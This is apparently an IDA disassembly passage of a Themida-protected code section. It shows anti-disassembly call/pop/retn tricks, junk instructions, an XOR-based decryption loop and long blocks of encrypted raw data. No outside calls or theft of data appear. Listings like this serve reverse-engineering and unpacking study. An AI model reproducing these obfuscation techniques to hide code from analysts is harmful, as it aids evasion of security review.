ebx loc_5B85B4: ; CODE XREF: Themida_:005B85ACj mov [ebp+6143229h], ecx push 0 push eax call sub_5B85C5 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B85C5 proc near ; CODE XREF: Themida_:005B85BDp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_5B85C5 endp ; --------------------------------------------------------------------------- dec eax xchg esp, esi push ds mov bl, 7Dh mov dword ptr [ebp+614064Dh], 584Ch sub ebx, [ebp+6140945h] mov dword ptr [ebp+6142671h], 0 push 0 push ebp call sub_5B8600 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B8600 proc near ; CODE XREF: Themida_:005B85F8p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_5B8600 endp ; --------------------------------------------------------------------------- jecxz short loc_5B8644 adc byte ptr [edi-1A62CE58h], 12h adc al, 6 push dword ptr [ebp+61406A5h] call dword ptr [ebp+6142361h] jmp loc_5B863C ; --------------------------------------------------------------------------- dd 30D942F0h, 1F863357h, 2999945Ch, 0B60D4991h ; --------------------------------------------------------------------------- loc_5B863C: ; CODE XREF: Themida_:005B8627j push 0 call dword ptr [ebp+6141169h] loc_5B8644: ; CODE XREF: Themida_:005B8610j mov eax, eax jmp short loc_5B8666 ; --------------------------------------------------------------------------- dd 0FC030318h, 0AA54B0DEh, 0FBF9E3CDh, 1F62B562h, 0BA9D0498h dd 0E8FD9CE5h, 0A05E0AD0h db 0FEh, 38h ; --------------------------------------------------------------------------- loc_5B8666: ; CODE XREF: Themida_:005B8646j call near ptr loc_5B8674+5 setalc pop es rcr dword ptr es:[edx-6Ah], 0Ah and al, 0CAh loc_5B8674: ; CODE XREF: Themida_:loc_5B8666p and [eax+526F7E1Fh], bl mov [ebp+6140361h], edx pop eax pop ebx mov [ebp+61408C1h], esi add ebx, 5C87h mov [ebp+6142CF9h], esi sub edx, edx xor [ebp+61424BDh], edi loc_5B869C: ; CODE XREF: Themida_:005B870Cj mov edi, [ebx+edx] mov eax, [ebp+6142235h] sub edi, 46C3AC28h mov ecx, [ebp+6142AD9h] xor edi, 4B0FF342h movzx eax, si xor edi, 4A555EE1h mov esi, ebx push edi mov eax, edx pop dword ptr [ebx+edx] mov [ebp+61423D9h], ebx mov esi, [ebp+614210Dh] sub edx, 47D402FDh or [ebp+6142069h], eax add edx, 47D402F9h or eax, 45D84A09h cmp edx, 0FFFFA420h jnz loc_5B8708 sub esi, [ebp+61416A1h] jmp loc_5B8716 ; --------------------------------------------------------------------------- db 1Fh dd 0C295F1B6h ; --------------------------------------------------------------------------- loc_5B8708: ; CODE XREF: Themida_:005B86F2j mov cx, 0C14Ch jmp loc_5B869C ; --------------------------------------------------------------------------- db 7Dh, 0E2h, 0E6h db 43h, 0CEh ; --------------------------------------------------------------------------- loc_5B8716: ; CODE XREF: Themida_:005B86FEj lea ecx, [ebp+61AFC01h] push 0 push ebx call sub_5B8727 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B8727 proc near ; CODE XREF: Themida_:005B871Fp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 17h inc ebx push ebx retn sub_5B8727 endp ; --------------------------------------------------------------------------- db 79h ; --------------------------------------------------------------------------- mov esi, 8D8900F8h sub [edx], esi adc al, 6 push 0 push eax call sub_5B874C and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B874C proc near ; CODE XREF: Themida_:005B8744p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_5B874C endp ; --------------------------------------------------------------------------- xchg eax, ebx mov dword ptr [ebp+614064Dh], 5A10h mov ax, 3FA2h mov dword ptr [ebp+6142671h], 0 mov [ebp+6140EE5h], eax mov [ebp+61402A1h], esi push dword ptr [ebp+6142319h] push 0 push esi call sub_5B8792 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B8792 proc near ; CODE XREF: Themida_:005B878Ap arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_5B8792 endp ; --------------------------------------------------------------------------- jnz short near ptr loc_5B87A2+1 ; CODE XREF: Themida_:loc_5B87A2j xchg eax, ebp popa and edx, [esi+eax] push 0 push eax call sub_5B87B4 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B87B4 proc near ; CODE XREF: Themida_:005B87ACp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_5B87B4 endp ; --------------------------------------------------------------------------- dd 31C62586h, 0D7C4E7F3h, 0C4B8A665h, 8153307Bh, 192983D2h dd 0FF006A55h, 14116995h, 0EBC08B06h, 94D1931Eh, 1EBEA73Ch dd 45E33995h, 0AFE1862Dh, 0FA93A978h, 0D2AE1D93h, 0B5030ABFh dd 8DBA95F9h, 1AFCCF8Dh, 0EC91B806h, 9D290BFFh, 614263Dh dd 32298D89h, 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 8B1C6FC3h, 1400E585h, 4D85C706h dd 94061406h, 2B00005Fh, 142C81B5h, 7185C706h, 61426h dd 0FF000000h, 140591B5h, 29BD8906h, 0FF061430h, 14236195h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 5E013A5h, 77C081E4h, 0EE9AF34h, 35000000h dd 0BDFADD15h, 6008138Dh, 26F7CBD1h, 158D8971h, 6A061403h dd 6995FF00h, 8B061411h, 577FEBC0h, 60457C61h, 14710974h dd 0C3C4E3C2h, 8A3F5D5h, 33935010h, 1A1EFD62h, 0CA0B6CA6h dd 8BDCD24Dh, 7E8E85ABh, 4FF69C48h, 95A243DAh, 3B3EFBB5h dd 0C41C5753h, 0CB5AF4EAh, 0BC706786h, 94D2B5D2h, 5E47EFE7h dd 58D10F5Bh, 3113E4DFh, 37DFE116h, 0DEF79354h, 6D50AA59h dd 85E439BCh, 2D40B921h, 7BFDC153h, 0B12F0h, 14A51A67h dd 0E194C4D6h, 4EF7836Dh, 0F6D50A81h, 0DC4BF756h, 5E81332h dd 76000000h, 0CDBDBA05h, 958959FCh, 6141039h, 6A69C181h dd 858B0000h, 6140F49h, 1A5DBEh, 0DDBD8B00h, 0FF061422h dd 0C2B70F31h, 67BF665Bh, 25F3816Bh, 0E9350CD2h, 0Fh, 0F31D56ACh dd 0F6363B73h, 31C0EB71h, 81037725h, 9ABA32EBh, 69C88159h dd 814549A9h, 3D6DE2F3h, 6DBD8B00h, 89061406h, 148E0F19h dd 0E9000000h, 0Fh, 8AD3014Bh, 346D98EEh, 0B7243DCDh, 8182D050h dd 26E543E9h, 0CE85Fh, 198C0000h, 0DB3B86C7h, 601D4FBh dd 0AE9DC1Fh, 0FF000000h, 0F0854D4Fh, 0B9C752BCh, 0C1815AFEh dd 5F26E53Fh, 0FE9h, 7B2BAF00h, 0D7CB71D6h, 743C5372h dd 0F6FC5B75h, 1F850F4Eh, 0E8000000h, 5, 847CEA7Ch, 6D8589B3h dd 5F061410h, 1FE9h, 68B5F000h, 0E82D3F89h, 958B80E0h dd 6140355h, 0FFFF36E9h, 8DD8FFh, 8546AE49h, 0B04D103Bh dd 0FEE58D8Dh, 0AE9061Ah, 68000000h, 59B5E3A9h, 8DB81257h dd 1DDF8160h, 894376FDh, 1432298Dh, 60525606h, 0C75E5B61h dd 14064D85h, 6D6006h, 0FDB52900h, 0C7061408h, 14267185h dd 6, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 2E896999h, 0FF6F9157h, 140C4DB5h dd 0F18B6606h, 236195FFh, 880F0614h, 15h, 0F830Fh, 0AE90000h dd 9D000000h, 5670E121h, 0C7691FB9h, 0FF006A56h, 14116995h dd 0EBC08B06h, 827AD94Ah, 0B8281FF2h, 0E443C463h, 8D67F9F7h dd 0FF6E19C5h, 0E7555CAEh, 37E01506h, 0A1F6E66Fh, 2A91B856h dd 0FFF91F09h, 65361803h, 9932B29Fh, 9916B9EFh, 0B3996E4Bh dd 9CE40A56h, 787401B2h, 0E55DB9B4h, 0DA9C4C65h, 8DBC7D12h dd 1AFFCE8Dh, 0DD958906h, 0F9061400h, 32298D89h, 6A0614h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 0BEEC01C3h, 3880ED75h, 34DD8531h, 85C70614h, 614064Dh dd 6DE4h, 73F78166h, 7185C767h, 61426h, 8B000000h, 14039D85h dd 0DB5FF06h, 0F061422h, 284h, 0FFD18A00h, 14236195h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 6143EF03h, 6688D670h, 6AD88Bh, 116995FFh, 0C08B0614h dd 63F07EEBh, 3205BEFCh, 684EAC02h, 42957138h, 5510F34Ch dd 0F0807573h, 0CF2EF1E1h, 0F9D04D30h, 4813CDDAh, 69D12E9Bh dd 253EDDB1h, 3912DE8Eh, 2B7DFB62h, 0D20F0671h, 467C0C16h dd 4C561D4Bh, 0D2B84127h, 301120D9h, 23B1979Fh, 15B4C4F6h dd 11291986h, 0D3994E9Fh, 7AABAA42h, 3211B28Ch, 0A1645F36h dd 21C370B4h, 4ECC70Fh, 3A747BF1h, 1D92E5B8h, 0FF1F5F97h dd 38574F29h, 3B5112A6h, 15FE9h, 0D48B5200h, 0E860h, 815D0000h dd 1B005FEDh, 8428B06h, 2638453Dh, 38850F78h, 8B000001h dd 4A8B0C42h, 0BBC8D318h, 8841BF62h, 0E883C333h, 29858904h dd 8B061432h, 0F88B0458h, 8B10428Bh, 0C8D3184Ah, 5137EBEh dd 2BC6339Ch, 0FCE083C7h, 8904E883h, 14064D85h, 14428B06h dd 26718589h, 428B0614h, 0B0E95318h, 0FF000000h, 140591B5h dd 0B9E906h, 0B5FF0000h, 61414ADh, 0AEE9h, 1B5FF00h, 0E9061416h dd 0A3h, 2E91B5FFh, 98E90614h, 0FF000000h, 1406A5B5h, 8DE906h dd 0B5FF0000h, 61402E1h, 82E9h, 4DB5FF00h, 0E906140Ch dd 77h, 1071B5FFh, 6CE90614h, 0FF000000h, 140D49B5h, 61E906h dd 0B5FF0000h, 6142319h, 56E9h, 99B5FF00h, 0E9061430h dd 4Bh, 669B5FFh, 40E90614h, 0FF000000h, 14220DB5h, 35E906h dd 0B5FF0000h, 61400D5h, 2AE9h, 95B5FF00h, 0E906142Ch dd 1Fh, 2111B5FFh, 14E90614h, 8B000000h, 0BB8D8h, 0F7660000h dd 0C08D8DE3h, 3061B00h, 0FFE1FFC8h, 14236195h, 858B5B06h dd 6143229h, 0F045839h, 0F85h, 16A5300h, 116995FFh, 0E95B0614h dd 0FFFFFFE2h, 61C35A61h, 0C96AB85Ah, 0E0FF77D4h, 1509858Bh dd 8D8D0614h, 61B01AEh, 8B014189h, 5985C6C3h, 5606141Ah dd 0C530DF68h, 0D1B5FFA9h, 8D06141Ah, 1780DB85h, 8DD0FF06h dd 1400958Dh, 406A5106h, 0BDDB5FFh, 0B5FF0614h, 6142B21h dd 0B5FFD0FFh, 6140BDDh, 2B21B5FFh, 0CE80614h, 0D0000000h dd 0B3176883h, 96F40694h, 5A82B07Ch, 4EA835Ah, 2242CC1h dd 22424C1h, 0F7241403h, 0B9241Ch, 0FF000000h, 815E1134h dd 1CEBA4F6h, 0EDEE816Fh, 812CD348h, 3B9979EEh, 48F564Ah dd 4E9830Ah, 0F240C3Bh, 0FFFFDA85h, 359D8DFFh, 8B061411h dd 0FC00B03h, 784h, 8B038B00h, 1889045Bh, 7E8C98Bh, 73000000h dd 4DAB9388h, 10E9DEA9h, 6B000000h, 9194F4CCh, 0E4F8928Eh dd 0BD03D24Ah, 58562A1Ch, 0B890Fh, 80600000h, 8A0F18CEh dd 0 dd 42C08161h, 0F000063h, 58Fh, 0EF816600h, 0B9220Dh, 60000000h dd 8A0F51h, 5B000000h, 61CFB70Fh db 8Bh dword_5B8EA1 dd 14E80834h ; DATA XREF: Themida_:005A0BCDr ; Themida_:005A0C18r ... align 4 dd 0DED8818Ch, 0FC246434h, 92E480E9h, 5096A0C6h, 0D1AA9039h dd 5E9h, 2514A200h, 815BA97Ch, 0D770F6h, 21B4601Eh, 3170EBB8h dd 0F681616Fh, 6C97A029h, 8AEE81F5h, 8A7A259Eh, 83489D0h dd 1923BB66h, 0E9819BB7h, 7D2D1240h, 81DEB70Fh, 2D123CC1h dd 0DA81527Dh, 84DEA50h, 0B8F9815Fh, 0FFFFF9Dh, 0E85h dd 0E9D78B00h, 35h, 9646F189h, 0E98995AEh, 13h, 6FBA1F74h dd 0F6E41423h, 5C350607h, 8970DA4Ah, 0E93BDA17h, 0FFFFFF64h dd 2D39E78Eh, 352D7A32h, 27AC71B1h, 0EB8FFEE1h, 0E4E956h dd 0F0F40000h, 9CD73E21h, 0C8C3CA45h, 0ABDAB6E1h, 0B395A7ACh dd 0A1F44592h, 0DA00B395h, 20A7ECABh, 6BB2915Dh, 2096B1F4h dd 9B552075h, 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h dd 0E9B599BDh, 92A59CB2h, 95ACA3F2h, 97B1EF76h db 0 byte_5B8F9D db 4Eh, 0F9h, 0B4h ; DATA XREF: Themida_:0054BCC0o dd 5C009FA5h, 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h dd 0F144D6D9h, 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh dd 0F996BFCFh, 20B293BCh, 9B57207Dh, 9492ABF7h, 0E3B29EBDh dd 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h dd 97B3ED72h, 0F1B6D000h, 0F0A8CD43h, 0 dd 9D744700h, 99E0E312h, 5Eh, 0Ah dup(0) dd 0ADE90000h, 68000014h, 61B0661h, 0F979BAE9h, 77668FFh dd 0B0E9061Bh, 68FFF979h, 61B085Ah, 0F979A6E9h, 9A268FFh dd 9CE9061Bh, 68FFF979h, 61B0A1Eh, 0F97992E9h, 0AD968FFh dd 88E9061Bh, 68FFF979h, 61B0B7Ah, 0F9797EE9h, 0C1168FFh dd 74E9061Bh, 68FFF979h, 61B0CBEh, 0F9796AE9h, 0DF768FFh dd 60E9061Bh, 68FFF979h, 61B0EF2h, 0F97956E9h, 102D68FFh dd 4CE9061Bh, 68FFF979h, 61B10F8h, 0F97942E9h, 124568FFh dd 38E9061Bh, 68FFF979h, 61B138Dh, 0F9792EE9h, 155F68FFh dd 24E9061Bh, 68FFF979h, 61B1684h, 0F9791AE9h, 0FBC418FFh dd 0B607CCA9h, 704B8764h, 2594411Eh, 0DCE1F6D3h, 4967518Ah dd 0DD2F8Eh, 0B996E8D1h, 714EA01Fh, 0F8045665h, 0ED846A70h dd 9D98580Ch, 0F7C41236h, 73983E4Bh, 0F1E8876Dh, 0DB739B51h dd 8F3FAD89h, 93797F47h, 0A751F1E8h, 19B10ECAh, 4BDEE4EAh dd 3757E53Ah, 12CD3160h, 0E3D0DADh, 70B6628Ah, 5806BB8Eh dd 0F5FBC399h, 5806BC0Fh, 7ACCFB23h, 19A2C3D8h, 0E5BCF8D9h dd 4F27FF4Ah, 0D036654Dh, 38h, 0F9A513E7h, 0CBF4E4B1h dd 0CD90969Ch, 9B57E502h, 5D632B73h, 58060377h, 0CA34638Bh dd 995FEBC2h, 4EA03Eh, 8AB8DD1h, 94B65806h, 0D088DDF6h dd 0ED76F8D9h, 8D000000h, 34894A17h, 20DCFA05h, 64584D8Fh dd 0B864FCE9h, 0E5912CABh, 47C810DDh, 0F2DF5B41h, 0AF476F51h dd 717CAB03h, 9DAA5665h, 0FEF6C339h, 0B5BAA0A6h, 0A6CE51F2h dd 83291D4Fh, 1D6A3EBh, 677D8DBCh, 51F2B38Bh, 87D9E2F4h dd 0E38F2CAAh, 7DC569D7h, 689728B0h, 0CD215C62h, 0F2CF57E5h dd 7C911DE1h, 72323270h, 14F042DAh, 567D4AA6h, 0DD63BB67h dd 5806D8F7h, 34BE30Bh, 0FBAFD1FDh, 5808DF5Dh, 0A4E2B988h dd 638B0F3Eh, 34894E1Bh, 0EBD205E2h, 94735F0Dh, 76846E38h dd 1203h, 4566973h, 0BF11AC27h, 79CBF0E2h, 2E80399Ch, 0E5378651h dd 33A40CACh, 765B388Ah, 0C414F143h, 0ACCA9FBh, 0CB535FB1h dd 0CEDDFC5h, 91F8F358h, 0A6F8C512h, 0E9D001CEh, 9427AFBAh dd 987E844Ch, 0AC51F1E7h, 0E7E8CED4h, 0D4FC51F1h, 44FD0D3Ch dd 0B1F9A513h, 9E65DDDAh, 6796730Ah, 55985B61h, 1CE457E5h dd 6553016h, 0ED1C4458h, 0A58B9169h, 0B9580654h, 5D434991h dd 71580655h, 0BF05B149h, 580654DDh, 0F84C6E8h, 0F8D98456h dd 0C5A8h, 0C412BF00h, 0E85B4147h, 476F51F1h, 0E1F603AFh dd 740CAF27h, 0ECA682C8h, 471451F1h, 0F3FE2D90h, 0AE86D8E3h dd 4D360FE6h, 7F9421EFh, 0F25313F9h, 0D0FF2751h, 0FEAA11C5h dd 94DC84F2h, 0E5D8FFCCh, 6C3772B6h, 0BDE557E5h, 922BA875h dd 822E8D45h, 0FEBFB2Ah, 0AFB5FDA1h, 5DFB4094h, 0C592DA02h dd 0C564EC12h, 8935884Fh, 6602DA31h, 0F1BE069Eh, 0D72FDBE2h dd 1CBB98A8h, 75B3C3A1h, 442E3894h, 10EE36h, 6B548800h dd 26973C19h, 0E0DBF7D4h, 9524B18Eh, 4C716643h, 0B9F7C1FAh dd 704D9F1Eh, 29065861h, 0E1BE10AFh, 6874C6F5h, 0EEF4DAE0h dd 0D08580Ch, 48C512A6h, 0F1E85C42h, 0B0487051h, 6655815Eh dd 0C4125B14h, 76434BF7h, 25305F5Ch, 0C094BB1h, 0BB0BF1F7h dd 0F71F51F2h, 9C8F9A0h, 90421F71h, 8928A86Ch, 0CA624846h dd 0F6C5111Eh, 842F86A4h, 0F39F1AB7h, 0F4626C9Bh, 0E8803B97h dd 3910D8A0h, 0CC2EC0B3h, 0E8CE54C7h, 0FC51F20Dh, 1661A5D4h dd 6257E528h, 327F3E95h, 64E817A4h, 64479B3Ch, 0ECAF8F7Ah dd 848AD27Eh, 55837B4Dh, 9D1EB481h, 16C2EA6Eh, 0ACF49C0Ah dd 7DC5F8DFh, 0A47B9177h, 4E7DA555h, 0FD754248h, 1F475B98h dd 0EFCC0AD7h, 0C4F9DAA7h, 2EA88595h, 0E1D1AF8Dh, 3A243AF5h dd 100A2Ch, 4F706C00h, 0AB320FDh, 0C4F7DBB8h, 79409572h dd 308D4A27h, 9D13A5DEh, 5431833Ah, 0DEA3C7Dh, 0C5A2F4CBh dd 4C58AA11h, 0EFD8BEC4h, 0F1EC580Ch, 47C4128Ah, 0B763587Ah dd 0E7F3D95Fh, 0DF0751F1h, 0CB774492h, 0C693DB73h, 157FAE0Bh dd 0ABF39B09h, 0E51566A5h, 6CD9A57h, 4398A2F8h, 28C05360h dd 71F5247Ch, 0AD1BF749h, 44B3B901h, 5A5DF964h, 5E408632h dd 695E1A45h, 0D5900B47h, 29F2C594h, 2Bh, 0F9A51340h, 5440ABB1h dd 264E57E5h, 0F8C711DEh, 0D601CEA6h, 0B4E33BE7h, 6348C70h dd 0FAC11558h, 0B20DCBA8h, 0F5DF806h, 134F0000h, 0E9B1F9A5h dd 5804B51Ch, 898DD100h, 0D957EAEBh, 0CAA169B1h, 8E7DEDh dd 341AA0C3h, 48580D8Ah, 0E6D21B61h, 1BB3551Fh, 9B50ACEh dd 0B47C82B1h, 618180DDh, 0E8172C89h, 70C2F9DDh, 0CC784393h dd 66AE52C0h, 51803F99h, 0B5DC454Bh, 0FFE65E06h, 0EFFC6CE5h dd 2C78CFC2h, 5566C5E9h, 0DDA22BAh, 0C8A0F2C9h, 0B0DFDAFBh dd 0DE8A31A5h, 74BC64D2h, 0F8DEE4ACh, 7B5E2891h, 9D3EBCBFh dd 375F25B5h, 0A265C408h, 0CD9641Bh, 40C4F3CCh, 5C503A18h dd 0CFB93275h, 0EC2C1h, 9728B400h, 526B6845h, 0CAF2300h dd 0C1F8DDBAh, 7845926Fh, 0E5CBED26h, 9C79CBF2h, 55328435h dd 0DEA3C83h, 94A0F2C9h, 0F120060Ch, 3934580Ch, 0E7F7D9D2h dd 0B48151F1h, 646E9D1Eh, 0FC024AF6h, 57EAEA9Bh, 68357DA5h dd 3D054D6Eh, 0CF556670h, 580CEBE9h, 96A6D5FDh, 0F29E1DB9h dd 80C878E6h, 4EAF0B8h, 18580CECh, 3E7DC1F0h, 0F45E0019h dd 0E5A6EECCh, 8D773890h, 0E467Fh, 13AC3000h, 0CEEFE4C1h dd 88339F7Ch, 3D7C5936h, 0F4C90EEBh, 614F69A2h, 18F54776h dd 0D1AE00B9h, 8966B807h, 101C6E4Dh, 0F19C8288h, 0B5B0580Ch dd 0F7C4124Eh, 73983E4Bh, 0F1E8876Dh, 14BE9B51h, 0C1C70FA7h dd 51F1E8DBh, 832FC7EFh, 0A03B576Bh, 0FEEDECC5h, 86639h dd 71643100h, 0E1DCFB48h, 0C7AEDD35h, 0B1F9A513h, 0EAEC2DABh dd 0F1396157h, 7D54B224h, 7552A43Ch, 45125A61h, 73802C93h dd 56AE5A65h, 1D258FBEh, 0EB694F55h, 557D580Ch, 0EB00E226h dd 1886580Ch, 0DB1A2068h, 915E0018h, 0F8CDB3B9h, 0B9E15E20h dd 0F4521762h, 0BC547A54h, 9041C0DEh, 79877138h, 0D8Bh dd 7CCEF1EBh, 3789349Fh, 0F143785Ah, 0A6F8C114h, 5DAF0EC9h dd 0BB1C9424h, 0FED3B002h, 4C8C69BBh, 92442173h, 43CBD729h dd 0CF2573Dh, 9706B58h, 4BF7C412h, 0DB23983Eh, 0E8270D13h dd 133B51F1h, 646D7AE4h, 3A9CA955h, 0FF63D581h, 0F2065E43h dd 0EE2A3B50h, 0A8D4FEEDh, 0EB000007h, 0F1E7F7D9h, 21B48151h dd 0F15F6998h, 41FF054Dh, 0F557EAECh, 1EB885CDh, 9C734B9Dh dd 9CEBCE0Ah, 20D3C0Ch, 0D29FE7D4h, 0B30BB704h, 0A00E1A84h dd 63A2A8F0h, 195E00F9h, 59513F1h, 0C6B03890h, 0CEAB8h dd 6F508C00h, 2A93401Dh, 0E4D7FBD8h, 9920B592h, 506D6A47h dd 0BDF3C5FEh, 7451A31Ah, 2D0A5C5Dh, 0E5C214ABh, 6C78CAF1h dd 0F2F8DEE4h, 110C580Ch, 0F7C412AAh, 0CCF1E2AFh, 0F8C31320h dd 2C121860h, 4051F1E8h, 727FE918h, 93AB5764h, 9DC8C37Fh dd 61FEEDEDh, 70Bh, 70498C59h, 563D6CC4h, 0B1F9A513h, 0EAEBE8ABh dd 468EB657h, 0C5E5D79h, 6814A72Fh, 0CEC4022h, 0F858C658h dd 0CEC0CF2h, 60F82058h, 19D31218h, 61895E00h, 90E52F83h dd 32402A38h, 0C53h, 0B406B923h, 6FC1FCD7h, 297B4092h dd 0DE30894Ch, 95E7D601h, 83545C5Ch, 0C60BE83Ah, 14C4A1F3h dd 5A7C59ABh, 7B030F61h, 0CF38F75h, 41A8A358h, 4BF7C412h dd 5F5C7643h, 0AB12530h, 1032465Eh, 0EDEDEA7Bh dd 68114FEh, 0D92B0000h, 51F1E7F2h, 0B009AF86h, 57D8DFD8h dd 4BB01E28h, 2E86328Dh, 0B9864E96h, 2F73A219h, 57EB048Fh dd 0E1C7CD95h, 0F5580D03h, 0F21A9ECDh, 0C2F9DDAAh, 78439370h dd 0AE52C0CCh, 50316066h, 7D455E00h, 21309177h, 371D235Eh dd 4B5E2131h, 57805D23h, 1B9FCE66h, 0AEA715F3h, 0DCC63890h dd 0BA6CEh, 0B30CD000h, 6E4F8461h, 28933F1Ch, 0DDDCF9D6h dd 9429AE8Bh, 1AF0942h, 0B895E7D6h, 714EA019h, 29065867h dd 0B0BC0EADh, 0F43C2228h, 5550580Ch, 0F7C412EEh, 64983E4Bh dd 2FB2DBD1h, 0DFC5CBC6h, 0F351F208h, 0EF9B33CBh, 0C379197Dh dd 8960A813h, 0FBB1EC50h, 0E6F6254Ah, 0ED57BDA8h, 12B41FEh dd 17580000h, 8834894Ah, 0E0F60130h, 0B4222FDBh, 0E0F2BF07h dd 4A4984DBh, 299C899Ah, 0A00EEAFAh, 0FA2A8F0h, 7D57E5A5h dd 0D4A1A955h, 488CBB04h, 58068466h, 0FE334F71h, 0D8907927h dd 93C20722h, 0D9083E27h, 46C0F8h, 17D70000h, 4957B840h dd 295855F8h, 0C50DB11Fh, 1A4E26FDh, 201780A3h, 0EDEAADF1h dd 693657E5h, 9C204F6Eh, 0A082C874h, 255806EDh, 53600CB3h dd 0E6EC3984h, 32D429D5h, 0A8CA9110h, 0EB74F1EAh, 848AF8D8h dd 0A1000000h, 4BF7C412h, 7824993Eh, 0A4506B6Bh, 2A7C3F97h dd 0F1342814h, 9625B151h, 0A6FA6844h, 0F213BAA0h, 0E2F1CE51h dd 3FD72FDBh, 0C0595FA7h, 2A57E6E9h, 0EAEDBA02h, 0DCA981D3h dd 8B96C5F6h, 3393714Ch, 4E3EA916h, 0A6D5664h, 0D3090000h dd 16BD9AECh, 5A7855A7h, 0A3320F61h, 0F0E7C416h, 76427BCDh dd 0CE209D3Ah, 87D9E0F1h, 3F912EAAh, 0F5477462h, 755B61E9h dd 89580CF5h, 0C512278Eh, 0DC9A6F8h, 12A35CAEh, 434BF7C4h dd 0CCA15D76h, 0A3851DF9h, 4954831Bh, 0FEDC2E8Dh, 493h dd 0FB401755h, 0EFFD8C11h, 36A4AEDDh, 5D3C428Ah, 5357E679h dd 360CE32Bh, 1E39D7DBh, 0D81E88B7h, 5806B4F6h, 775E2B01h dd 0E73E9642h, 0C4016B20h, 63B5E49Bh, 0A9B9AC27h, 0D8A5F8D9h dd 2C92C1FAh, 1ECh, 0E7E0D943h, 168451F1h, 0EFDC22B5h dd 2101D099h, 55D09A1h, 905D256Dh, 70C87445h, 0AC57FD41h dd 0EEB57EBh, 175FF7C4h, 3B64784Fh, 0A7A7197Dh, 6873595Fh dd 5F87580Dh, 0AB12530h, 2FDEF5C2h, 0D684329h, 972F5758h dd 5B7B5868h, 3AA8B460h, 19484E96h, 0AF5E00B4h, 4A27A987h dd 846E3890h, 97276h, 0E7D80400h, 0A21BB895h, 5C5F7350h dd 11A82D0Ah, 0C8F5E2BFh, 357B3D76h, 0ECC91BA2h, 0A582D4E5h dd 5D3A8C33h, 0E4F04279h, 0F670565Ch, 8984580Ch, 42C41222h dd 0E7932B90h, 13BFFCDAh, 0E71D3DA1h, 3C7ACCEFh, 0FEEDF229h dd 13BD5h, 0C412EC00h, 13D8AFF7h, 0D897D468h, 717EE817h dd 28045665h, 0ED8757BAh, 0FCF1645Eh, 64451C64h, 0F74FD0Ah dd 11171D4Ch, 57E61B7Eh, 0DE9405ECh, 0B47BEC6Dh, 482A701Ch dd 5358078Eh, 0EB7A1131h, 13F8D847h, 33h, 0D140172Ah, 2048B2EFh dd 319FA9D8h, 27BF00D8h, 316D9DFh, 0BCE457E5h, 2E8CA10h dd 0D1F35806h, 0D64B1AB1h, 4613F8D9h, 2B832F8Ch, 0AF96FCh dd 12AD0000h, 269342C4h, 0B17E468Eh, 96EE9A21h, 0F1E82A10h dd 0E7163E51h, 5667707Dh, 82399DAAh, 1368633Ah, 196F9F39h dd 637380EAh, 612E0658h, 469E4A71h, 64D7D317h, 0B88551F1h dd 6772A11Ah, 22FA4C6Fh, 456E545Ah, 0D8FB51F2h, 1BE139E5h dd 4CBAC4F3h, 0BD565CA4h, 2757E71Ah, 22EFB7FFh, 35B07B4h dd 0AF0EC9D4h, 6657805Dh, 0A8E55288h, 5F6D573Eh, 837h dd 0D0229D3Fh, 8BDDE0F3h, 459724AEh, 0FA4C6D68h, 0B103BA1Dh dd 67704078h, 0AA270456h, 0F8E0BD0Fh, 3E9875C7h, 971F2B7Dh dd 0CF7AB91h, 5DC4BF58h, 0A6F8C512h, 5CAE0DC9h, 0F7C412A3h dd 23983E4Bh, 0F6C30EDBh, 64D9B7C7h, 30000002h, 0B1F9A513h dd 0EAEBABABh, 83CBF357h, 0EBCFB5BBh, 0BBE3580Ch, 0FADC228Ch dd 5580CEBh, 392CA7E3h, 0C5F8D2EEh, 201h, 0D4E5F0BDh, 0BAA1D028h dd 0F1E7E0D9h, 6A168451h, 0EC141C22h, 345C57EAh, 4B71FECh dd 0BA01D5B2h, 0AD2F060Eh, 0F56B3477h, 174697FCh, 2DD795C0h dd 1AF9DFE5h, 0E50D580Dh, 923EACB6h, 1DB5824Ah, 6B9AF29Eh dd 66F827h, 88668E5Eh, 3890985Ch, 6C697761h, 0A000007h dd 0BE9BEDD2h, 7956A815h, 33106259h, 0E8C517A2h, 437CCEEFh dd 219C3B75h, 0DADFF2CFh, 922DAB88h, 48736340h, 5C62EAF6h dd 580CF876h, 12288F8Ah, 3E4BF7C4h, 6A772398h, 843B9D67h dd 3CE880D8h, 6814A72Fh, 0F1F092F6h, 775A273Fh, 0E7A68C92h dd 92BA51F1h, 0C6ACB2FAh, 0DA51F1E7h, 113183B2h, 6EC0FBDBh dd 0EDF23530h, 13BC9FEh, 17E00000h, 534894Ah, 3420DCFAh dd 74700D84h, 1F2CD870h, 0EFBC04B7h, 0D52DD9E4h, 4CBA96A6h dd 0C3565CA4h, 3157E54Ch, 2C6D5359h, 59815806h, 400D15C1h dd 0B5F92891h, 